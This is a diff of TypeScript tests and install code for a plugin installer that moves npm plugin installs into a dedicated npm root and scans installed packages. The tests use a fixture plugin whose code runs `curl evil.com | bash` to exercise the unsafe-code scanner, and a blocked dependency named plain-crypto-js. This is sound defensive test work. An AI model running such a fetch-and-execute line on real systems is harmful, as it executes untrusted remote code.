fs.writeFileSync(path.join(pkgDir, "package.json"), JSON.stringify(params.packageJson), "utf-8"); - if (params.pluginManifest) { + if (params.hoistedDependency) { + const depDir = path.join(params.npmRoot, "node_modules", params.hoistedDependency.name); + fs.mkdirSync(depDir, { recursive: true }); fs.writeFileSync( - path.join(pkgDir, "openclaw.plugin.json"), - JSON.stringify(params.pluginManifest), + path.join(depDir, "package.json"), + JSON.stringify({ + name: params.hoistedDependency.name, + version: params.hoistedDependency.version, + }), "utf-8", ); } - const archivePath = await packToArchive({ - pkgDir, - outDir: suiteTempRootTracker.ensureSuiteTempRoot(), - outName: params.outName, - flatRoot: params.flatRoot, + return pluginDir; +} + +function mockNpmViewAndInstall(params: { + spec: string; + packageName: string; + version: string; + npmRoot: string; + pluginId?: string; + integrity?: string; + shasum?: string; + indexJs?: string; + dependency?: { name: string; version: string }; + hoistedDependency?: { name: string; version: string }; +}) { + runCommandWithTimeoutMock.mockImplementation(async (argv: string[]) => { + if (JSON.stringify(argv) === JSON.stringify(npmViewArgv(params.spec))) { + return successfulSpawn( + JSON.stringify({ + name: params.packageName, + version: params.version, + dist: { + integrity: params.integrity ?? "sha512-plugin-test", + shasum: params.shasum ?? "pluginshasum", + }, + }), + ); + } + if (argv[0] === "npm" && argv[1] === "install") { + writeInstalledNpmPlugin(params); + return successfulSpawn(); + } + throw new Error(`unexpected command: ${argv.join(" ")}`); }); - dynamicArchiveTemplatePathCache.set(templateKey, archivePath); - return archivePath; } afterAll(() => { suiteTempRootTracker.cleanup(); - dynamicArchiveTemplatePathCache.clear(); }); beforeEach(() => { @@ -97,127 +160,85 @@ beforeEach(() => { }); describe("installPluginFromNpmSpec", () => { - it("uses --ignore-scripts for npm pack and cleans up temp dir", async () => { + it("installs npm plugins into .openclaw/npm", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); - const extensionsDir = path.join(stateDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); + const npmRoot = path.join(stateDir, "npm"); - const run = runCommandWithTimeoutMock; - const voiceCallArchivePath = await ensureDynamicArchiveTemplate({ - outName: "voice-call-0.0.1-npm.tgz", - packageJson: { - name: "@openclaw/voice-call", - version: "0.0.1", - openclaw: { extensions: ["./dist/index.js"] }, - }, - pluginManifest: { id: "voice-call", name: "Voice Call", configSchema: { type: "object" } }, - withDistIndex: true, - }); - const voiceCallArchiveBuffer = fs.readFileSync(voiceCallArchivePath); - - let packTmpDir = ""; - const packedName = "voice-call-0.0.1.tgz"; - run.mockImplementation(async (argv, opts) => { - if (argv[0] === "npm" && argv[1] === "pack") { - packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? "")); - fs.writeFileSync(path.join(packTmpDir, packedName), voiceCallArchiveBuffer); - return { - code: 0, - stdout: JSON.stringify([ - { - id: "@openclaw/voice-call@0.0.1", - name: "@openclaw/voice-call", - version: "0.0.1", - filename: packedName, - integrity: "sha512-plugin-test", - shasum: "pluginshasum", - }, - ]), - stderr: "", - signal: null, - killed: false, - termination: "exit", - }; - } - throw new Error(`unexpected command: ${argv.join(" ")}`); + mockNpmViewAndInstall({ + spec: "@openclaw/voice-call@0.0.1", + packageName: "@openclaw/voice-call", + version: "0.0.1", + pluginId: "voice-call", + npmRoot, + dependency: { name: "is-number", version: "7.0.0" }, }); const result = await installPluginFromNpmSpec({ spec: "@openclaw/voice-call@0.0.1", - extensionsDir, + npmDir: npmRoot, logger: { info: () => {}, warn: () => {} }, }); + expect(result.ok).toBe(true); if (!result.ok) { return; } + expect(result.pluginId).toBe("voice-call"); + expect(result.targetDir).toBe(path.join(npmRoot, "node_modules", "@openclaw/voice-call")); expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.1"); expect(result.npmResolution?.integrity).toBe("sha512-plugin-test"); + expect( + fs.existsSync(path.join(result.targetDir, "node_modules", "is-number", "package.json")), + ).toBe(true); + expectNpmInstallIntoRoot({ + calls: runCommandWithTimeoutMock.mock.calls, + npmRoot, + spec: "@openclaw/voice-call@0.0.1", + }); + }); - expectSingleNpmPackIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, unknown]>, - expectedSpec: "@openclaw/voice-call@0.0.1", + it("rejects npm installs with blocked hoisted transitive dependencies", async () => { + const stateDir = suiteTempRootTracker.makeTempDir(); + const npmRoot = path.join(stateDir, "npm"); + + mockNpmViewAndInstall({ + spec: "hoisted-plugin@1.0.0", + packageName: "hoisted-plugin", + version: "1.0.0", + pluginId: "hoisted-plugin", + npmRoot, + hoistedDependency: { name: "plain-crypto-js", version: "1.0.0" }, }); - expect(packTmpDir).not.toBe(""); - expect(fs.existsSync(packTmpDir)).toBe(false); + const result = await installPluginFromNpmSpec({ + spec: "hoisted-plugin@1.0.0", + npmDir: npmRoot, + logger: { info: () => {}, warn: () => {} }, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("plain-crypto-js"); + expect(result.error).toContain("node_modules/plain-crypto-js"); + } }); it("allows npm-spec installs with dangerous code patterns when forced unsafe install is set", async () => { - const stateDir = suiteTempRootTracker.makeTempDir(); - const extensionsDir = path.join(stateDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); - - const archivePath = await ensureDynamicArchiveTemplate({ - outName: "dangerous-plugin-npm.tgz", - packageJson: { - name: "dangerous-plugin", - version: "1.0.0", - openclaw: { extensions: ["./dist/index.js"] }, - }, - pluginManifest: { - id: "dangerous-plugin", - name: "Dangerous Plugin", - configSchema: { type: "object" }, - }, - withDistIndex: true, - distIndexJsContent: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, - }); - const archiveBuffer = fs.readFileSync(archivePath); - - const run = runCommandWithTimeoutMock; - let packTmpDir = ""; - const packedName = "dangerous-plugin-1.0.0.tgz"; - run.mockImplementation(async (argv, opts) => { - if (argv[0] === "npm" && argv[1] === "pack") { - packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? "")); - fs.writeFileSync(path.join(packTmpDir, packedName), archiveBuffer); - return { - code: 0, - stdout: JSON.stringify([ - { - id: "dangerous-plugin@1.0.0", - name: "dangerous-plugin", - version: "1.0.0", - filename: packedName, - integrity: "sha512-dangerous-plugin", - shasum: "dangerous-plugin-shasum", - }, - ]), - stderr: "", - signal: null, - killed: false, - termination: "exit", - }; - } - throw new Error(`unexpected command: ${argv.join(" ")}`); - }); - + const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm"); const warnings: string[] = []; + mockNpmViewAndInstall({ + spec: "dangerous-plugin@1.0.0", + packageName: "dangerous-plugin", + version: "1.0.0", + pluginId: "dangerous-plugin", + npmRoot, + indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, + }); + const result = await installPluginFromNpmSpec({ spec: "dangerous-plugin@1.0.0", dangerouslyForceUnsafeInstall: true, - extensionsDir, + npmDir: npmRoot, logger: { info: () => {}, warn: (msg: string) => warnings.push(msg), @@ -232,12 +253,11 @@ describe("installPluginFromNpmSpec", () => { ), ), ).toBe(true); - expectSingleNpmPackIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, unknown]>, - expectedSpec: "dangerous-plugin@1.0.0", + expectNpmInstallIntoRoot({ + calls: runCommandWithTimeoutMock.mock.calls, + npmRoot, + spec: "dangerous-plugin@1.0.0", }); - expect(packTmpDir).not.toBe(""); - expect(fs.existsSync(packTmpDir)).toBe(false); }); it("rejects non-registry npm specs", async () => { @@ -250,12 +270,9 @@ describe("installPluginFromNpmSpec", () => { }); it("aborts when integrity drift callback rejects the fetched artifact", async () => { - const run = runCommandWithTimeoutMock; - mockNpmPackMetadataResult(run, { - id: "@openclaw/voice-call@0.0.1", + mockNpmViewMetadataResult(runCommandWithTimeoutMock, { name: "@openclaw/voice-call", version: "0.0.1", - filename: "voice-call-0.0.1.tgz", integrity: "sha512-new", shasum: "newshasum", }); @@ -275,8 +292,7 @@ describe("installPluginFromNpmSpec", () => { }); it("classifies npm package-not-found errors with a stable error code", async () => { - const run = runCommandWithTimeoutMock; - run.mockResolvedValue({ + runCommandWithTimeoutMock.mockResolvedValue({ code: 1, stdout: "", stderr: "npm ERR! code E404\nnpm ERR! 404 Not Found - GET https://registry.npmjs.org/nope", @@ -296,86 +312,50 @@ describe("installPluginFromNpmSpec", () => { }); it("handles prerelease npm specs correctly", async () => { - const prereleaseMetadata = { - id: "@openclaw/voice-call@0.0.2-beta.1", + mockNpmViewMetadataResult(runCommandWithTimeoutMock, { name: "@openclaw/voice-call", version: "0.0.2-beta.1", - filename: "voice-call-0.0.2-beta.1.tgz", integrity: "sha512-beta", shasum: "betashasum", - }; + }); - { - const run = runCommandWithTimeoutMock; - mockNpmPackMetadataResult(run, prereleaseMetadata); - - const result = await installPluginFromNpmSpec({ - spec: "@openclaw/voice-call", - logger: { info: () => {}, warn: () => {} }, - }); - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.error).toContain("prerelease version 0.0.2-beta.1"); - expect(result.error).toContain('"@openclaw/voice-call@beta"'); - } + const rejected = await installPluginFromNpmSpec({ + spec: "@openclaw/voice-call", + logger: { info: () => {}, warn: () => {} }, + }); + expect(rejected.ok).toBe(false); + if (!rejected.ok) { + expect(rejected.error).toContain("prerelease version 0.0.2-beta.1"); + expect(rejected.error).toContain('"@openclaw/voice-call@beta"'); } runCommandWithTimeoutMock.mockReset(); + const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm"); + mockNpmViewAndInstall({ + spec: "@openclaw/voice-call@beta", + packageName: "@openclaw/voice-call", + version: "0.0.2-beta.1", + pluginId: "voice-call", + integrity: "sha512-beta", + shasum: "betashasum", + npmRoot, + }); - { - const run = runCommandWithTimeoutMock; - let packTmpDir = ""; - const packedName = "voice-call-0.0.2-beta.1.tgz"; - const voiceCallArchivePath = await ensureDynamicArchiveTemplate({ - outName: "voice-call-0.0.2-beta.1-npm.tgz", - packageJson: { - name: "@openclaw/voice-call", - version: "0.0.2-beta.1", - openclaw: { extensions: ["./dist/index.js"] }, - }, - pluginManifest: { - id: "voice-call", - name: "Voice Call", - configSchema: { type: "object" }, - }, - withDistIndex: true, - }); - const voiceCallArchiveBuffer = fs.readFileSync(voiceCallArchivePath); - run.mockImplementation(async (argv, opts) => { - if (argv[0] === "npm" && argv[1] === "pack") { - packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? "")); - fs.writeFileSync(path.join(packTmpDir, packedName), voiceCallArchiveBuffer); - return { - code: 0, - stdout: JSON.stringify([prereleaseMetadata]), - stderr: "", - signal: null, - killed: false, - termination: "exit", - }; - } - throw new Error(`unexpected command: ${argv.join(" ")}`); - }); - - const stateDir = suiteTempRootTracker.makeTempDir(); - const extensionsDir = path.join(stateDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); - const result = await installPluginFromNpmSpec({ - spec: "@openclaw/voice-call@beta", - extensionsDir, - logger: { info: () => {}, warn: () => {} }, - }); - expect(result.ok).toBe(true); - if (!result.ok) { - return; - } - expect(result.npmResolution?.version).toBe("0.0.2-beta.1"); - expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1"); - expectSingleNpmPackIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, unknown]>, - expectedSpec: "@openclaw/voice-call@beta", - }); - expect(packTmpDir).not.toBe(""); + const accepted = await installPluginFromNpmSpec({ + spec: "@openclaw/voice-call@beta", + npmDir: npmRoot, + logger: { info: () => {}, warn: () => {} }, + }); + expect(accepted.ok).toBe(true); + if (!accepted.ok) { + return; } + expect(accepted.npmResolution?.version).toBe("0.0.2-beta.1"); + expect(accepted.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1"); + expectNpmInstallIntoRoot({ + calls: runCommandWithTimeoutMock.mock.calls, + npmRoot, + spec: "@openclaw/voice-call@beta", + }); }); }); diff --git a/src/plugins/install.path.test.ts b/src/plugins/install.path.test.ts index 7e005544696..dca871d3af8 100644 --- a/src/plugins/install.path.test.ts +++ b/src/plugins/install.path.test.ts @@ -2,7 +2,6 @@ import fs from "node:fs"; import path from "node:path"; import { afterAll, beforeEach, describe, expect, it, vi } from "vitest"; import { runCommandWithTimeout } from "../process/exec.js"; -import { expectSingleNpmInstallIgnoreScriptsCall } from "../test-utils/exec-assertions.js"; import { initializeGlobalHookRunner, resetGlobalHookRunner } from "./hook-runner-global.js"; import { createMockPluginRegistry } from "./hooks.test-helpers.js"; import { @@ -339,7 +338,7 @@ describe("installPluginFromPath", () => { expect(fs.existsSync(path.join(result.targetDir, ".claude-plugin", "plugin.json"))).toBe(true); }); - it("prefers native package installs over bundle installs for dual-format archives", async () => { + it("prefers native package metadata and installs dependencies for dual-format archives", async () => { const { pluginDir, extensionsDir } = setupDualFormatInstallFixture({ bundleFormat: "claude", }); @@ -371,9 +370,13 @@ describe("installPluginFromPath", () => { } expect(result.pluginId).toBe("native-dual"); expect(result.targetDir).toBe(path.join(extensionsDir, "native-dual")); - expectSingleNpmInstallIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>, - expectedTargetDir: result.targetDir, - }); + expect(run).toHaveBeenCalledTimes(1); + expect(run.mock.calls[0]?.[0]).toEqual([ + "npm", + "install", + "--omit=dev", + "--loglevel=error", + "--ignore-scripts", + ]); }); }); diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 8fa0388110f..2d188da9c32 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -5,8 +5,6 @@ import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vites import { safePathSegmentHashed } from "../infra/install-safe-path.js"; import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; import { runCommandWithTimeout } from "../process/exec.js"; -import { expectSingleNpmInstallIgnoreScriptsCall } from "../test-utils/exec-assertions.js"; -import { expectInstallUsesIgnoreScripts } from "../test-utils/npm-spec-install-test-helpers.js"; import { initializeGlobalHookRunner, resetGlobalHookRunner } from "./hook-runner-global.js"; import { createMockPluginRegistry } from "./hooks.test-helpers.js"; import * as installSecurityScan from "./install-security-scan.js"; @@ -620,6 +618,29 @@ beforeEach(() => { }); describe("installPluginFromArchive", () => { + it("runs npm for package archive runtime dependencies", async () => { + const result = await installArchivePackageAndReturnResult({ + packageJson: { + name: "archive-with-deps", + version: "0.0.1", + openclaw: { extensions: ["./dist/index.js"] }, + dependencies: { "left-pad": "1.3.0" }, + }, + outName: "archive-with-deps.tgz", + withDistIndex: true, + }); + + expect(result.ok).toBe(true); + expect(vi.mocked(runCommandWithTimeout)).toHaveBeenCalledTimes(1); + expect(vi.mocked(runCommandWithTimeout).mock.calls[0]?.[0]).toEqual([ + "npm", + "install", + "--omit=dev", + "--loglevel=error", + "--ignore-scripts", + ]); + }); + it("installs scoped archives, rejects duplicate installs, and allows updates", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); const archiveV1 = await ensureDynamicArchiveTemplate({ @@ -2469,21 +2490,19 @@ describe("installPluginFromDir", () => { expect(result.targetDir, name).toBe(resolvePluginInstallDir(pluginId, extensionsDir)); } - it("uses --ignore-scripts for dependency install", async () => { + it("does not run npm for local package dependencies", async () => { const { pluginDir, extensionsDir } = setupInstallPluginFromDirFixture(); - const run = vi.mocked(runCommandWithTimeout); - await expectInstallUsesIgnoreScripts({ - run, - install: async () => - await installPluginFromDir({ - dirPath: pluginDir, - extensionsDir, - }), + const res = await installPluginFromDir({ + dirPath: pluginDir, + extensionsDir, }); + + expect(res.ok).toBe(true); + expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); - it("runs npm install for optional-only dependencies", async () => { + it("copies optional-only local package dependencies without installing them", async () => { const { pluginDir, extensionsDir } = setupInstallPluginFromDirFixture({ omitDependencies: true, optionalDependencies: { @@ -2491,9 +2510,6 @@ describe("installPluginFromDir", () => { }, }); - const run = vi.mocked(runCommandWithTimeout); - mockSuccessfulCommandRun(run); - const res = await installPluginFromDir({ dirPath: pluginDir, extensionsDir, @@ -2503,13 +2519,10 @@ describe("installPluginFromDir", () => { if (!res.ok) { return; } - expectSingleNpmInstallIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>, - expectedTargetDir: res.targetDir, - }); + expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); - it("strips workspace devDependencies before npm install", async () => { + it("preserves local package manifests without dependency surgery", async () => { const { pluginDir, extensionsDir } = setupInstallPluginFromDirFixture({ devDependencies: { openclaw: "workspace:*", @@ -2517,9 +2530,6 @@ describe("installPluginFromDir", () => { }, }); - const run = vi.mocked(runCommandWithTimeout); - mockSuccessfulCommandRun(run); - const res = await installPluginFromDir({ dirPath: pluginDir, extensionsDir, @@ -2534,38 +2544,24 @@ describe("installPluginFromDir", () => { ) as { devDependencies?: Record; }; - expect(manifest.devDependencies?.openclaw).toBeUndefined(); + expect(manifest.devDependencies?.openclaw).toBe("workspace:*"); expect(manifest.devDependencies?.vitest).toBe("^3.0.0"); + expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); - it("blocks install when resolved dependencies introduce a denied package", async () => { + it("blocks local installs when vendored dependencies include a denied package", async () => { const { pluginDir, extensionsDir } = setupInstallPluginFromDirFixture(); - const run = vi.mocked(runCommandWithTimeout); - run.mockImplementation(async (_command, opts) => { - const cwd = typeof opts === "number" ? undefined : opts?.cwd; - if (!cwd) { - throw new Error("expected cwd for npm install"); - } - const blockedPkgDir = path.join(cwd, "node_modules", "plain-crypto-js"); - fs.mkdirSync(blockedPkgDir, { recursive: true }); - fs.writeFileSync( - path.join(blockedPkgDir, "package.json"), - JSON.stringify({ - name: "plain-crypto-js", - version: "4.2.1", - }), - "utf-8", - ); - return { - code: 0, - stdout: "", - stderr: "", - signal: null, - killed: false, - termination: "exit" as const, - }; - }); + const blockedPkgDir = path.join(pluginDir, "node_modules", "plain-crypto-js"); + fs.mkdirSync(blockedPkgDir, { recursive: true }); + fs.writeFileSync( + path.join(blockedPkgDir, "package.json"), + JSON.stringify({ + name: "plain-crypto-js", + version: "4.2.1", + }), + "utf-8", + ); const result = await installPluginFromDir({ dirPath: pluginDir, @@ -2578,6 +2574,7 @@ describe("installPluginFromDir", () => { expect(result.error).toContain('blocked dependencies "plain-crypto-js" as package name'); expect(result.error).toContain("node_modules/plain-crypto-js/package.json"); } + expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); it.each([ @@ -2772,9 +2769,6 @@ describe("installPluginFromDir", () => { bundleFormat: "codex", }); - const run = vi.mocked(runCommandWithTimeout); - mockSuccessfulCommandRun(run); - const res = await installPluginFromDir({ dirPath: pluginDir, extensionsDir, @@ -2786,10 +2780,7 @@ describe("installPluginFromDir", () => { } expect(res.pluginId).toBe("native-dual"); expect(res.targetDir).toBe(path.join(extensionsDir, "native-dual")); - expectSingleNpmInstallIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>, - expectedTargetDir: res.targetDir, - }); + expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); }); @@ -2838,14 +2829,18 @@ describe("linkOpenClawPeerDependencies (via installPluginFromDir)", () => { expect(run).not.toHaveBeenCalled(); }); - it("keeps the openclaw peer symlink when plugin package dependencies are installed", async () => { + it("keeps the openclaw peer symlink when a local plugin already has dependencies", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); const fakeHostRoot = suiteTempRootTracker.makeTempDir(); - const run = vi.mocked(runCommandWithTimeout); - mockSuccessfulCommandRun(run); resolveRootMock.mockReturnValue(fakeHostRoot); writePluginWithPeerDeps(pluginDir, { openclaw: "*" }, { "is-number": "7.0.0" }); + fs.mkdirSync(path.join(pluginDir, "node_modules", "is-number"), { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "node_modules", "is-number", "package.json"), + JSON.stringify({ name: "is-number", version: "7.0.0" }), + "utf-8", + ); const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); @@ -2854,13 +2849,11 @@ describe("linkOpenClawPeerDependencies (via installPluginFromDir)", () => { return; } - expectSingleNpmInstallIgnoreScriptsCall({ - calls: run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>, - expectedTargetDir: result.targetDir, - }); const symlinkPath = path.join(result.targetDir, "node_modules", "openclaw"); expect(fs.lstatSync(symlinkPath).isSymbolicLink()).toBe(true); expect(fs.realpathSync(symlinkPath)).toBe(fs.realpathSync(fakeHostRoot)); + expect(fs.existsSync(path.join(result.targetDir, "node_modules", "is-number"))).toBe(true); + expect(vi.mocked(runCommandWithTimeout)).not.toHaveBeenCalled(); }); it("does not create a symlink when peerDependencies is empty", async () => { diff --git a/src/plugins/install.ts b/src/plugins/install.ts index bb9a36c7e6a..10dd6f3a48a 100644 --- a/src/plugins/install.ts +++ b/src/plugins/install.ts @@ -1,14 +1,30 @@ import fs from "node:fs/promises"; import path from "node:path"; import { packageNameMatchesId } from "../infra/install-safe-path.js"; -import { type NpmIntegrityDrift, type NpmSpecResolution } from "../infra/install-source-utils.js"; +import { + resolveNpmSpecMetadata, + type NpmIntegrityDrift, + type NpmSpecResolution, +} from "../infra/install-source-utils.js"; +import { resolveNpmIntegrityDriftWithDefaultMessage } from "../infra/npm-integrity.js"; +import { + formatPrereleaseResolutionError, + isPrereleaseResolutionAllowed, + parseRegistryNpmSpec, +} from "../infra/npm-registry-spec.js"; import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; +import { + createSafeNpmInstallArgs, + createSafeNpmInstallEnv, +} from "../infra/safe-package-install.js"; +import { runCommandWithTimeout } from "../process/exec.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; import { resolveUserPath } from "../utils.js"; import { encodePluginInstallDirName, matchesExpectedPluginId, resolveDefaultPluginExtensionsDir, + resolveDefaultPluginNpmDir, safePluginInstallFileName, validatePluginId, } from "./install-paths.js"; @@ -178,12 +194,14 @@ function buildBlockedInstallResult(params: { type PackageInstallCommonParams = InstallSafetyOverrides & { extensionsDir?: string; + npmDir?: string; timeoutMs?: number; logger?: PluginInstallLogger; mode?: "install" | "update"; dryRun?: boolean; expectedPluginId?: string; requirePluginManifest?: boolean; + installDependencies?: boolean; installPolicyRequest?: PluginInstallPolicyRequest; }; @@ -203,12 +221,14 @@ function pickPackageInstallCommonParams( return { dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, extensionsDir: params.extensionsDir, + npmDir: params.npmDir, timeoutMs: params.timeoutMs, logger: params.logger, mode: params.mode, dryRun: params.dryRun, expectedPluginId: params.expectedPluginId, requirePluginManifest: params.requirePluginManifest, + installDependencies: params.installDependencies, installPolicyRequest: params.installPolicyRequest, }; } @@ -578,25 +598,47 @@ async function linkOpenClawPeerDependencies(params: { } } -async function installPluginFromPackageDir( - params: { - packageDir: string; - } & PackageInstallCommonParams, -): Promise { - const runtime = await loadPluginInstallRuntime(); - const { logger, timeoutMs, mode, dryRun } = runtime.resolveTimedInstallModeOptions( - params, - defaultLogger, - ); +type ValidatedPackagePlugin = { + manifest: PackageManifest; + pluginId: string; + manifestName?: string; + version?: string; + extensions: string[]; + peerDependencies: Record; +}; +function hasInstallablePackageDependencies(manifest: PackageManifest): boolean { + return ( + Object.keys(manifest.dependencies ?? {}).length > 0 || + Object.keys(manifest.optionalDependencies ?? {}).length > 0 + ); +} + +async function validatePackagePluginInstallSource(params: { + runtime: Awaited>; + packageDir: string; + expectedPluginId?: string; + requirePluginManifest?: boolean; + dangerouslyForceUnsafeInstall?: boolean; + installPolicyRequest?: PluginInstallPolicyRequest; + logger: PluginInstallLogger; + mode: "install" | "update"; + resolveEffectiveMode?: (pluginId: string) => Promise<"install" | "update">; +}): Promise< + | { + ok: true; + plugin: ValidatedPackagePlugin; + } + | Extract +> { const manifestPath = path.join(params.packageDir, "package.json"); - if (!(await runtime.fileExists(manifestPath))) { + if (!(await params.runtime.fileExists(manifestPath))) { return { ok: false, error: "extracted package missing package.json" }; } let manifest: PackageManifest; try { - manifest = await runtime.readJsonFile(manifestPath); + manifest = await params.runtime.readJsonFile(manifestPath); } catch (err) { return { ok: false, error: `invalid package.json: ${String(err)}` }; } @@ -615,12 +657,7 @@ async function installPluginFromPackageDir( const pkgName = normalizeOptionalString(manifest.name) ?? ""; const npmPluginId = pkgName || "plugin"; - - // Prefer the canonical `id` from openclaw.plugin.json over the npm package name. - // This avoids a latent key-mismatch bug: if the manifest id (e.g. "memory-cognee") - // differs from the npm package name (e.g. "cognee-openclaw"), the plugin registry - // uses the manifest id as the authoritative key, so the config entry must match it. - const ocManifestResult = runtime.loadPluginManifest(params.packageDir); + const ocManifestResult = params.runtime.loadPluginManifest(params.packageDir); if (!ocManifestResult.ok && params.requirePluginManifest) { return { ok: false, @@ -654,14 +691,14 @@ async function installPluginFromPackageDir( } if (manifestPluginId && !packageNameMatchesId(npmPluginId, manifestPluginId)) { - logger.info?.( + params.logger.info?.( `Plugin manifest id "${manifestPluginId}" differs from npm package name "${npmPluginId}"; using manifest id as the config key.`, ); } - const packageMetadata = runtime.getPackageManifestMetadata(manifest); - const minHostVersionCheck = runtime.checkMinHostVersion({ - currentVersion: runtime.resolveCompatibilityHostVersion(), + const packageMetadata = params.runtime.getPackageManifestMetadata(manifest); + const minHostVersionCheck = params.runtime.checkMinHostVersion({ + currentVersion: params.runtime.resolveCompatibilityHostVersion(), minHostVersion: packageMetadata?.install?.minHostVersion, }); if (!minHostVersionCheck.ok) { @@ -699,29 +736,21 @@ async function installPluginFromPackageDir( }; } - const targetResult = await resolvePreparedDirectoryInstallTarget({ - runtime, - pluginId, - extensionsDir: params.extensionsDir, - requestedMode: mode, - nameEncoder: encodePluginInstallDirName, - }); - if (!targetResult.ok) { - return { ok: false, error: targetResult.error }; - } - + const scanMode = params.resolveEffectiveMode + ? await params.resolveEffectiveMode(pluginId) + : params.mode; const scanResult = await runInstallSourceScan({ subject: `Plugin "${pluginId}"`, scan: async () => - await runtime.scanPackageInstallSource({ + await params.runtime.scanPackageInstallSource({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, packageDir: params.packageDir, pluginId, - logger, + logger: params.logger, extensions, requestKind: params.installPolicyRequest?.kind, requestedSpecifier: params.installPolicyRequest?.requestedSpecifier, - mode: targetResult.target.effectiveMode, + mode: scanMode, packageName: pkgName || undefined, manifestId: manifestPluginId, version: typeof manifest.version === "string" ? manifest.version : undefined, @@ -731,52 +760,160 @@ async function installPluginFromPackageDir( return scanResult; } - const deps = { - ...manifest.dependencies, - ...manifest.optionalDependencies, + return { + ok: true, + plugin: { + manifest, + pluginId, + manifestName: pkgName || undefined, + version: typeof manifest.version === "string" ? manifest.version : undefined, + extensions, + peerDependencies: manifest.peerDependencies ?? {}, + }, }; - const peerDeps = manifest.peerDependencies ?? {}; +} + +async function scanAndLinkInstalledPackage(params: { + runtime: Awaited>; + installedDir: string; + dependencyTreeRootDir?: string; + pluginId: string; + peerDependencies: Record; + logger: PluginInstallLogger; +}): Promise | null> { + const scanResult = await runInstallSourceScan({ + subject: `Plugin "${params.pluginId}"`, + scan: async () => + await params.runtime.scanInstalledPackageDependencyTree({ + logger: params.logger, + packageDir: params.dependencyTreeRootDir ?? params.installedDir, + pluginId: params.pluginId, + }), + }); + if (scanResult) { + return scanResult; + } + await linkOpenClawPeerDependencies({ + installedDir: params.installedDir, + peerDependencies: params.peerDependencies, + logger: params.logger, + }); + return null; +} + +export async function installPluginFromInstalledPackageDir( + params: { + packageDir: string; + dependencyTreeRootDir?: string; + } & PackageInstallCommonParams, +): Promise { + const runtime = await loadPluginInstallRuntime(); + const { logger } = runtime.resolveTimedInstallModeOptions(params, defaultLogger); + const validated = await validatePackagePluginInstallSource({ + runtime, + packageDir: params.packageDir, + expectedPluginId: params.expectedPluginId, + requirePluginManifest: params.requirePluginManifest, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + installPolicyRequest: params.installPolicyRequest, + logger, + mode: params.mode ?? "install", + }); + if (!validated.ok) { + return validated; + } + const postInstallError = await scanAndLinkInstalledPackage({ + runtime, + installedDir: params.packageDir, + dependencyTreeRootDir: params.dependencyTreeRootDir, + pluginId: validated.plugin.pluginId, + peerDependencies: validated.plugin.peerDependencies, + logger, + }); + if (postInstallError) { + return postInstallError; + } + return buildDirectoryInstallResult({ + pluginId: validated.plugin.pluginId, + targetDir: params.packageDir, + manifestName: validated.plugin.manifestName, + version: validated.plugin.version, + extensions: validated.plugin.extensions, + }); +} + +async function installPluginFromPackageDir( + params: { + packageDir: string; + } & PackageInstallCommonParams, +): Promise { + const runtime = await loadPluginInstallRuntime(); + const { logger, timeoutMs, mode, dryRun } = runtime.resolveTimedInstallModeOptions( + params, + defaultLogger, + ); + let preparedTarget: PreparedInstallTarget | undefined; + const resolvePreparedTargetForPluginId = async (pluginId: string) => { + if (!preparedTarget) { + const targetResult = await resolvePreparedDirectoryInstallTarget({ + runtime, + pluginId, + extensionsDir: params.extensionsDir, + requestedMode: mode, + nameEncoder: encodePluginInstallDirName, + }); + if (!targetResult.ok) { + throw new Error(targetResult.error); + } + preparedTarget = targetResult.target; + } + return preparedTarget; + }; + + const validated = await validatePackagePluginInstallSource({ + runtime, + packageDir: params.packageDir, + expectedPluginId: params.expectedPluginId, + requirePluginManifest: params.requirePluginManifest, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + installPolicyRequest: params.installPolicyRequest, + logger, + mode, + resolveEffectiveMode: async (pluginId) => + (await resolvePreparedTargetForPluginId(pluginId)).effectiveMode, + }); + if (!validated.ok) { + return validated; + } + const { plugin } = validated; + + preparedTarget = await resolvePreparedTargetForPluginId(plugin.pluginId); + return await 